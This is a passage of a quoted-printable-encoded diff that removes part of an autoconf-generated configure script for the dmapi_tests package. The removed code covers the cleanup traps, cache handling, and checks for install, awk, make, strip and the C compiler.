ac_must_keep_next=3Dtrue ;; -=09esac - fi - ac_configure_args=3D"$ac_configure_args$ac_sep'$ac_arg'" - # Get rid of the leading space. - ac_sep=3D" " - ;; - esac - done -done -$as_unset ac_configure_args0 || test "${ac_configure_args0+set}" !=3D = set || { ac_configure_args0=3D; export ac_configure_args0; } -$as_unset ac_configure_args1 || test "${ac_configure_args1+set}" !=3D = set || { ac_configure_args1=3D; export ac_configure_args1; } - -# When interrupted or exit'd, cleanup temporary files, and complete -# config.log. We remove comments because anyway the quotes in there -# would cause problems or look ugly. -# WARNING: Be sure not to use single quotes in there, as some shells, -# such as our DU 5.0 friend, will then `close' the trap. -trap 'exit_status=3D$? - # Save into config.log some information that might help in debugging= . - { - echo - - cat <<\_ASBOX -## ---------------- ## -## Cache variables. ## -## ---------------- ## -_ASBOX - echo - # The following way of writing the cache mishandles newlines in va= lues, -{ - (set) 2>&1 | - case `(ac_space=3D'"'"' '"'"'; set | grep ac_space) 2>&1` in - *ac_space=3D\ *) - sed -n \ -=09"s/'"'"'/'"'"'\\\\'"'"''"'"'/g; -=09 s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=3D\\(.*\\)/\\1=3D'"= '"'\\2'"'"'/p" - ;; - *) - sed -n \ -=09"s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=3D\\(.*\\)/\\1=3D\\2= /p" - ;; - esac; -} - echo - - cat <<\_ASBOX -## ----------------- ## -## Output variables. ## -## ----------------- ## -_ASBOX - echo - for ac_var in $ac_subst_vars - do - eval ac_val=3D$`echo $ac_var` - echo "$ac_var=3D'"'"'$ac_val'"'"'" - done | sort - echo - - if test -n "$ac_subst_files"; then - cat <<\_ASBOX -## ------------- ## -## Output files. ## -## ------------- ## -_ASBOX - echo - for ac_var in $ac_subst_files - do -=09eval ac_val=3D$`echo $ac_var` -=09echo "$ac_var=3D'"'"'$ac_val'"'"'" - done | sort - echo - fi - - if test -s confdefs.h; then - cat <<\_ASBOX -## ----------- ## -## confdefs.h. ## -## ----------- ## -_ASBOX - echo - sed "/^$/d" confdefs.h | sort - echo - fi - test "$ac_signal" !=3D 0 && - echo "$as_me: caught signal $ac_signal" - echo "$as_me: exit $exit_status" - } >&5 - rm -f core *.core && - rm -rf conftest* confdefs* conf$$* $ac_clean_files && - exit $exit_status - ' 0 -for ac_signal in 1 2 13 15; do - trap 'ac_signal=3D'$ac_signal'; { (exit 1); exit 1; }' $ac_signal -done -ac_signal=3D0 - -# confdefs.h avoids OS command line length limits that DEFS can exceed= . -rm -rf conftest* confdefs.h -# AIX cpp loses on an empty file, so make sure it contains at least a = newline. -echo >confdefs.h - -# Predefined preprocessor variables. - -cat >>confdefs.h <<_ACEOF -#define PACKAGE_NAME "$PACKAGE_NAME" -_ACEOF - - -cat >>confdefs.h <<_ACEOF -#define PACKAGE_TARNAME "$PACKAGE_TARNAME" -_ACEOF - - -cat >>confdefs.h <<_ACEOF -#define PACKAGE_VERSION "$PACKAGE_VERSION" -_ACEOF - - -cat >>confdefs.h <<_ACEOF -#define PACKAGE_STRING "$PACKAGE_STRING" -_ACEOF - - -cat >>confdefs.h <<_ACEOF -#define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT" -_ACEOF - - -# Let the site file select an alternate cache file if it wants to. -# Prefer explicitly selected file to automatically selected ones. -if test -z "$CONFIG_SITE"; then - if test "x$prefix" !=3D xNONE; then - CONFIG_SITE=3D"$prefix/share/config.site $prefix/etc/config.site" - else - CONFIG_SITE=3D"$ac_default_prefix/share/config.site $ac_default_pr= efix/etc/config.site" - fi -fi -for ac_site_file in $CONFIG_SITE; do - if test -r "$ac_site_file"; then - { echo "$as_me:$LINENO: loading site script $ac_site_file" >&5 -echo "$as_me: loading site script $ac_site_file" >&6;} - sed 's/^/| /' "$ac_site_file" >&5 - . "$ac_site_file" - fi -done - -if test -r "$cache_file"; then - # Some versions of bash will fail to source /dev/null (special - # files actually), so we avoid doing that. - if test -f "$cache_file"; then - { echo "$as_me:$LINENO: loading cache $cache_file" >&5 -echo "$as_me: loading cache $cache_file" >&6;} - case $cache_file in - [\\/]* | ?:[\\/]* ) . $cache_file;; - *) . ./$cache_file;; - esac - fi -else - { echo "$as_me:$LINENO: creating cache $cache_file" >&5 -echo "$as_me: creating cache $cache_file" >&6;} - >$cache_file -fi - -# Check that the precious variables saved in the cache have kept the s= ame -# value. -ac_cache_corrupted=3Dfalse -for ac_var in `(set) 2>&1 | -=09 sed -n 's/^ac_env_\([a-zA-Z_0-9]*\)_set=3D.*/\1/p'`; do - eval ac_old_set=3D\$ac_cv_env_${ac_var}_set - eval ac_new_set=3D\$ac_env_${ac_var}_set - eval ac_old_val=3D"\$ac_cv_env_${ac_var}_value" - eval ac_new_val=3D"\$ac_env_${ac_var}_value" - case $ac_old_set,$ac_new_set in - set,) - { echo "$as_me:$LINENO: error: \`$ac_var' was set to \`$ac_old_v= al' in the previous run" >&5 -echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previ= ous run" >&2;} - ac_cache_corrupted=3D: ;; - ,set) - { echo "$as_me:$LINENO: error: \`$ac_var' was not set in the pre= vious run" >&5 -echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} - ac_cache_corrupted=3D: ;; - ,);; - *) - if test "x$ac_old_val" !=3D "x$ac_new_val"; then -=09{ echo "$as_me:$LINENO: error: \`$ac_var' has changed since the pre= vious run:" >&5 -echo "$as_me: error: \`$ac_var' has changed since the previous run:" >= &2;} -=09{ echo "$as_me:$LINENO: former value: $ac_old_val" >&5 -echo "$as_me: former value: $ac_old_val" >&2;} -=09{ echo "$as_me:$LINENO: current value: $ac_new_val" >&5 -echo "$as_me: current value: $ac_new_val" >&2;} -=09ac_cache_corrupted=3D: - fi;; - esac - # Pass precious variables to config.status. - if test "$ac_new_set" =3D set; then - case $ac_new_val in - *" "*|*"=09"*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?\"\']*) - ac_arg=3D$ac_var=3D`echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"= ` ;; - *) ac_arg=3D$ac_var=3D$ac_new_val ;; - esac - case " $ac_configure_args " in - *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accurac= y. - *) ac_configure_args=3D"$ac_configure_args '$ac_arg'" ;; - esac - fi -done -if $ac_cache_corrupted; then - { echo "$as_me:$LINENO: error: changes in the environment can compro= mise the build" >&5 -echo "$as_me: error: changes in the environment can compromise the bui= ld" >&2;} - { { echo "$as_me:$LINENO: error: run \`make distclean' and/or \`rm $= cache_file' and start over" >&5 -echo "$as_me: error: run \`make distclean' and/or \`rm $cache_file' an= d start over" >&2;} - { (exit 1); exit 1; }; } -fi - -ac_ext=3Dc -ac_cpp=3D'$CPP $CPPFLAGS' -ac_compile=3D'$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS confte= st.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_c_compiler_gnu - - - - - - - - - - - - - - - - - - - - -am__api_version=3D"1.9" -ac_aux_dir=3D -for ac_dir in $srcdir $srcdir/.. $srcdir/../..; do - if test -f $ac_dir/install-sh; then - ac_aux_dir=3D$ac_dir - ac_install_sh=3D"$ac_aux_dir/install-sh -c" - break - elif test -f $ac_dir/install.sh; then - ac_aux_dir=3D$ac_dir - ac_install_sh=3D"$ac_aux_dir/install.sh -c" - break - elif test -f $ac_dir/shtool; then - ac_aux_dir=3D$ac_dir - ac_install_sh=3D"$ac_aux_dir/shtool install -c" - break - fi -done -if test -z "$ac_aux_dir"; then - { { echo "$as_me:$LINENO: error: cannot find install-sh or install.s= h in $srcdir $srcdir/.. $srcdir/../.." >&5 -echo "$as_me: error: cannot find install-sh or install.sh in $srcdir $= srcdir/.. $srcdir/../.." >&2;} - { (exit 1); exit 1; }; } -fi -ac_config_guess=3D"$SHELL $ac_aux_dir/config.guess" -ac_config_sub=3D"$SHELL $ac_aux_dir/config.sub" -ac_configure=3D"$SHELL $ac_aux_dir/configure" # This should be Cygnus = configure. - -# Find a good install program. We prefer a C program (faster), -# so one script is as good as another. But avoid the broken or -# incompatible versions: -# SysV /etc/install, /usr/sbin/install -# SunOS /usr/etc/install -# IRIX /sbin/install -# AIX /bin/install -# AmigaOS /C/install, which installs bootblocks on floppy discs -# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag -# AFS /usr/afsws/bin/install, which mishandles nonexistent args -# SVR4 /usr/ucb/install, which tries to use the nonexistent group "sta= ff" -# OS/2's system install, which has a completely different semantic -# ./install, which can be erroneously created by make from ./install.s= h. -echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5 -echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6 -if test -z "$INSTALL"; then -if test "${ac_cv_path_install+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - # Account for people who put trailing slashes in PATH elements. -case $as_dir/ in - ./ | .// | /cC/* | \ - /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ - ?:\\/os2\\/install\\/* | ?:\\/OS2\\/INSTALL\\/* | \ - /usr/ucb/* ) ;; - *) - # OSF1 and SCO ODT 3.0 have their own names for install. - # Don't use installbsd from OSF since it installs stuff as root - # by default. - for ac_prog in ginstall scoinst install; do - for ac_exec_ext in '' $ac_executable_extensions; do -=09if $as_executable_p "$as_dir/$ac_prog$ac_exec_ext"; then -=09 if test $ac_prog =3D install && -=09 grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; the= n -=09 # AIX install. It has an incompatible calling convention. -=09 : -=09 elif test $ac_prog =3D install && -=09 grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; the= n -=09 # program-specific install script used by HP pwplus--don't use. -=09 : -=09 else -=09 ac_cv_path_install=3D"$as_dir/$ac_prog$ac_exec_ext -c" -=09 break 3 -=09 fi -=09fi - done - done - ;; -esac -done - - -fi - if test "${ac_cv_path_install+set}" =3D set; then - INSTALL=3D$ac_cv_path_install - else - # As a last resort, use the slow shell script. We don't cache a - # path for INSTALL within a source directory, because that will - # break other packages using the cache if that directory is - # removed, or if the path is relative. - INSTALL=3D$ac_install_sh - fi -fi -echo "$as_me:$LINENO: result: $INSTALL" >&5 -echo "${ECHO_T}$INSTALL" >&6 - -# Use test -z because SunOS4 sh mishandles braces in ${var-val}. -# It thinks the first close brace ends the variable substitution. -test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM=3D'${INSTALL}' - -test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT=3D'${INSTALL}' - -test -z "$INSTALL_DATA" && INSTALL_DATA=3D'${INSTALL} -m 644' - -echo "$as_me:$LINENO: checking whether build environment is sane" >&5 -echo $ECHO_N "checking whether build environment is sane... $ECHO_C" >= &6 -# Just in case -sleep 1 -echo timestamp > conftest.file -# Do `set' in a subshell so we don't clobber the current shell's -# arguments. Must try -L first in case configure is actually a -# symlink; some systems play weird games with the mod time of symlinks -# (eg FreeBSD returns the mod time of the symlink's containing -# directory). -if ( - set X `ls -Lt $srcdir/configure conftest.file 2> /dev/null` - if test "$*" =3D "X"; then - # -L didn't work. - set X `ls -t $srcdir/configure conftest.file` - fi - rm -f conftest.file - if test "$*" !=3D "X $srcdir/configure conftest.file" \ - && test "$*" !=3D "X conftest.file $srcdir/configure"; then - - # If neither matched, then we have a broken ls. This can happen - # if, for instance, CONFIG_SHELL is bash and it inherits a - # broken ls alias from the environment. This has actually - # happened. Such a system could not be considered "sane". - { { echo "$as_me:$LINENO: error: ls -t appears to fail. Make su= re there is not a broken -alias in your environment" >&5 -echo "$as_me: error: ls -t appears to fail. Make sure there is not a = broken -alias in your environment" >&2;} - { (exit 1); exit 1; }; } - fi - - test "$2" =3D conftest.file - ) -then - # Ok. - : -else - { { echo "$as_me:$LINENO: error: newly created file is older than d= istributed files! -Check your system clock" >&5 -echo "$as_me: error: newly created file is older than distributed file= s! -Check your system clock" >&2;} - { (exit 1); exit 1; }; } -fi -echo "$as_me:$LINENO: result: yes" >&5 -echo "${ECHO_T}yes" >&6 -test "$program_prefix" !=3D NONE && - program_transform_name=3D"s,^,$program_prefix,;$program_transform_na= me" -# Use a double $ so make ignores it. -test "$program_suffix" !=3D NONE && - program_transform_name=3D"s,\$,$program_suffix,;$program_transform_n= ame" -# Double any \ or $. echo might interpret backslashes. -# By default was `s,x,x', remove it if useless. -cat <<\_ACEOF >conftest.sed -s/[\\$]/&&/g;s/;s,x,x,$// -_ACEOF -program_transform_name=3D`echo $program_transform_name | sed -f confte= st.sed` -rm conftest.sed - -# expand $ac_aux_dir to an absolute path -am_aux_dir=3D`cd $ac_aux_dir && pwd` - -test x"${MISSING+set}" =3D xset || MISSING=3D"\${SHELL} $am_aux_dir/mi= ssing" -# Use eval to expand $SHELL -if eval "$MISSING --run true"; then - am_missing_run=3D"$MISSING --run " -else - am_missing_run=3D - { echo "$as_me:$LINENO: WARNING: \`missing' script is too old or mis= sing" >&5 -echo "$as_me: WARNING: \`missing' script is too old or missing" >&2;} -fi - -if mkdir -p --version . >/dev/null 2>&1 && test ! -d ./--version; then - # We used to keeping the `.' as first argument, in order to - # allow $(mkdir_p) to be used without argument. As in - # $(mkdir_p) $(somedir) - # where $(somedir) is conditionally defined. However this is wrong - # for two reasons: - # 1. if the package is installed by a user who cannot write `.' - # make install will fail, - # 2. the above comment should most certainly read - # $(mkdir_p) $(DESTDIR)$(somedir) - # so it does not work when $(somedir) is undefined and - # $(DESTDIR) is not. - # To support the latter case, we have to write - # test -z "$(somedir)" || $(mkdir_p) $(DESTDIR)$(somedir), - # so the `.' trick is pointless. - mkdir_p=3D'mkdir -p --' -else - # On NextStep and OpenStep, the `mkdir' command does not - # recognize any option. It will interpret all options as - # directories to create, and then abort because `.' already - # exists. - for d in ./-p ./--version; - do - test -d $d && rmdir $d - done - # $(mkinstalldirs) is defined by Automake if mkinstalldirs exists. - if test -f "$ac_aux_dir/mkinstalldirs"; then - mkdir_p=3D'$(mkinstalldirs)' - else - mkdir_p=3D'$(install_sh) -d' - fi -fi - -for ac_prog in gawk mawk nawk awk -do - # Extract the first word of "$ac_prog", so it can be a program name = with args. -set dummy $ac_prog; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_AWK+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$AWK"; then - ac_cv_prog_AWK=3D"$AWK" # Let the user override the test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_AWK=3D"$ac_prog" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -AWK=3D$ac_cv_prog_AWK -if test -n "$AWK"; then - echo "$as_me:$LINENO: result: $AWK" >&5 -echo "${ECHO_T}$AWK" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - - test -n "$AWK" && break -done - -echo "$as_me:$LINENO: checking whether ${MAKE-make} sets \$(MAKE)" >&5 -echo $ECHO_N "checking whether ${MAKE-make} sets \$(MAKE)... $ECHO_C" = >&6 -set dummy ${MAKE-make}; ac_make=3D`echo "$2" | sed 'y,:./+-,___p_,'` -if eval "test \"\${ac_cv_prog_make_${ac_make}_set+set}\" =3D set"; the= n - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.make <<\_ACEOF -all: -=09@echo 'ac_maketemp=3D"$(MAKE)"' -_ACEOF -# GNU make sometimes prints "make[1]: Entering...", which would confus= e us. -eval `${MAKE-make} -f conftest.make 2>/dev/null | grep temp=3D` -if test -n "$ac_maketemp"; then - eval ac_cv_prog_make_${ac_make}_set=3Dyes -else - eval ac_cv_prog_make_${ac_make}_set=3Dno -fi -rm -f conftest.make -fi -if eval "test \"`echo '$ac_cv_prog_make_'${ac_make}_set`\" =3D yes"; t= hen - echo "$as_me:$LINENO: result: yes" >&5 -echo "${ECHO_T}yes" >&6 - SET_MAKE=3D -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 - SET_MAKE=3D"MAKE=3D${MAKE-make}" -fi - -rm -rf .tst 2>/dev/null -mkdir .tst 2>/dev/null -if test -d .tst; then - am__leading_dot=3D. -else - am__leading_dot=3D_ -fi -rmdir .tst 2>/dev/null - -# test to see if srcdir already configured -if test "`cd $srcdir && pwd`" !=3D "`pwd`" && - test -f $srcdir/config.status; then - { { echo "$as_me:$LINENO: error: source directory already configured= ; run \"make distclean\" there first" >&5 -echo "$as_me: error: source directory already configured; run \"make d= istclean\" there first" >&2;} - { (exit 1); exit 1; }; } -fi - -# test whether we have cygpath -if test -z "$CYGPATH_W"; then - if (cygpath --version) >/dev/null 2>/dev/null; then - CYGPATH_W=3D'cygpath -w' - else - CYGPATH_W=3Decho - fi -fi - - -# Define the identity of the package. - PACKAGE=3Ddmapi_tests - VERSION=3D1.1 - - -cat >>confdefs.h <<_ACEOF -#define PACKAGE "$PACKAGE" -_ACEOF - - -cat >>confdefs.h <<_ACEOF -#define VERSION "$VERSION" -_ACEOF - -# Some tools Automake needs. - -ACLOCAL=3D${ACLOCAL-"${am_missing_run}aclocal-${am__api_version}"} - - -AUTOCONF=3D${AUTOCONF-"${am_missing_run}autoconf"} - - -AUTOMAKE=3D${AUTOMAKE-"${am_missing_run}automake-${am__api_version}"} - - -AUTOHEADER=3D${AUTOHEADER-"${am_missing_run}autoheader"} - - -MAKEINFO=3D${MAKEINFO-"${am_missing_run}makeinfo"} - -install_sh=3D${install_sh-"$am_aux_dir/install-sh"} - -# Installed binaries are usually stripped using `strip' when the user -# run `make install-strip'. However `strip' might not be the right -# tool to use in cross-compilation environments, therefore Automake -# will honor the `STRIP' environment variable to overrule this program= . -if test "$cross_compiling" !=3D no; then - if test -n "$ac_tool_prefix"; then - # Extract the first word of "${ac_tool_prefix}strip", so it can be a= program name with args. -set dummy ${ac_tool_prefix}strip; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_STRIP+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$STRIP"; then - ac_cv_prog_STRIP=3D"$STRIP" # Let the user override the test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_STRIP=3D"${ac_tool_prefix}strip" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -STRIP=3D$ac_cv_prog_STRIP -if test -n "$STRIP"; then - echo "$as_me:$LINENO: result: $STRIP" >&5 -echo "${ECHO_T}$STRIP" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - -fi -if test -z "$ac_cv_prog_STRIP"; then - ac_ct_STRIP=3D$STRIP - # Extract the first word of "strip", so it can be a program name wit= h args. -set dummy strip; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_ac_ct_STRIP+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$ac_ct_STRIP"; then - ac_cv_prog_ac_ct_STRIP=3D"$ac_ct_STRIP" # Let the user override the = test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_ac_ct_STRIP=3D"strip" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - - test -z "$ac_cv_prog_ac_ct_STRIP" && ac_cv_prog_ac_ct_STRIP=3D":" -fi -fi -ac_ct_STRIP=3D$ac_cv_prog_ac_ct_STRIP -if test -n "$ac_ct_STRIP"; then - echo "$as_me:$LINENO: result: $ac_ct_STRIP" >&5 -echo "${ECHO_T}$ac_ct_STRIP" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - - STRIP=3D$ac_ct_STRIP -else - STRIP=3D"$ac_cv_prog_STRIP" -fi - -fi -INSTALL_STRIP_PROGRAM=3D"\${SHELL} \$(install_sh) -c -s" - -# We need awk for the "check" target. The system "awk" is bad on -# some platforms. -# Always define AMTAR for backward compatibility. - -AMTAR=3D${AMTAR-"${am_missing_run}tar"} - -am__tar=3D'${AMTAR} chof - "$$tardir"'; am__untar=3D'${AMTAR} xf -' - - - - - - -ac_ext=3Dc -ac_cpp=3D'$CPP $CPPFLAGS' -ac_compile=3D'$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS confte= st.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_c_compiler_gnu -if test -n "$ac_tool_prefix"; then - # Extract the first word of "${ac_tool_prefix}gcc", so it can be a p= rogram name with args. -set dummy ${ac_tool_prefix}gcc; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_CC+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$CC"; then - ac_cv_prog_CC=3D"$CC" # Let the user override the test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_CC=3D"${ac_tool_prefix}gcc" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -CC=3D$ac_cv_prog_CC -if test -n "$CC"; then - echo "$as_me:$LINENO: result: $CC" >&5 -echo "${ECHO_T}$CC" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - -fi -if test -z "$ac_cv_prog_CC"; then - ac_ct_CC=3D$CC - # Extract the first word of "gcc", so it can be a program name with = args. -set dummy gcc; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_ac_ct_CC+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$ac_ct_CC"; then - ac_cv_prog_ac_ct_CC=3D"$ac_ct_CC" # Let the user override the test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_ac_ct_CC=3D"gcc" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -ac_ct_CC=3D$ac_cv_prog_ac_ct_CC -if test -n "$ac_ct_CC"; then - echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 -echo "${ECHO_T}$ac_ct_CC" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - - CC=3D$ac_ct_CC -else - CC=3D"$ac_cv_prog_CC" -fi - -if test -z "$CC"; then - if test -n "$ac_tool_prefix"; then - # Extract the first word of "${ac_tool_prefix}cc", so it can be a pr= ogram name with args. -set dummy ${ac_tool_prefix}cc; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_CC+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$CC"; then - ac_cv_prog_CC=3D"$CC" # Let the user override the test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_CC=3D"${ac_tool_prefix}cc" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -CC=3D$ac_cv_prog_CC -if test -n "$CC"; then - echo "$as_me:$LINENO: result: $CC" >&5 -echo "${ECHO_T}$CC" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - -fi -if test -z "$ac_cv_prog_CC"; then - ac_ct_CC=3D$CC - # Extract the first word of "cc", so it can be a program name with a= rgs. -set dummy cc; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_ac_ct_CC+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$ac_ct_CC"; then - ac_cv_prog_ac_ct_CC=3D"$ac_ct_CC" # Let the user override the test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_ac_ct_CC=3D"cc" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -ac_ct_CC=3D$ac_cv_prog_ac_ct_CC -if test -n "$ac_ct_CC"; then - echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 -echo "${ECHO_T}$ac_ct_CC" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - - CC=3D$ac_ct_CC -else - CC=3D"$ac_cv_prog_CC" -fi - -fi -if test -z "$CC"; then - # Extract the first word of "cc", so it can be a program name with a= rgs. -set dummy cc; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_CC+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$CC"; then - ac_cv_prog_CC=3D"$CC" # Let the user override the test. -else - ac_prog_rejected=3Dno -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - if test "$as_dir/$ac_word$ac_exec_ext" =3D "/usr/ucb/cc"; then - ac_prog_rejected=3Dyes - continue - fi - ac_cv_prog_CC=3D"cc" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -if test $ac_prog_rejected =3D yes; then - # We found a bogon in the path, so make sure we never use it. - set dummy $ac_cv_prog_CC - shift - if test $# !=3D 0; then - # We chose a different compiler from the bogus one. - # However, it has the same basename, so the bogon will be chosen - # first if we set CC to just the basename; use the full file name. - shift - ac_cv_prog_CC=3D"$as_dir/$ac_word${1+' '}$@" - fi -fi -fi -fi -CC=3D$ac_cv_prog_CC -if test -n "$CC"; then - echo "$as_me:$LINENO: result: $CC" >&5 -echo "${ECHO_T}$CC" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - -fi -if test -z "$CC"; then - if test -n "$ac_tool_prefix"; then - for ac_prog in cl - do - # Extract the first word of "$ac_tool_prefix$ac_prog", so it can b= e a program name with args. -set dummy $ac_tool_prefix$ac_prog; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_CC+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$CC"; then - ac_cv_prog_CC=3D"$CC" # Let the user override the test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_CC=3D"$ac_tool_prefix$ac_prog" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -CC=3D$ac_cv_prog_CC -if test -n "$CC"; then - echo "$as_me:$LINENO: result: $CC" >&5 -echo 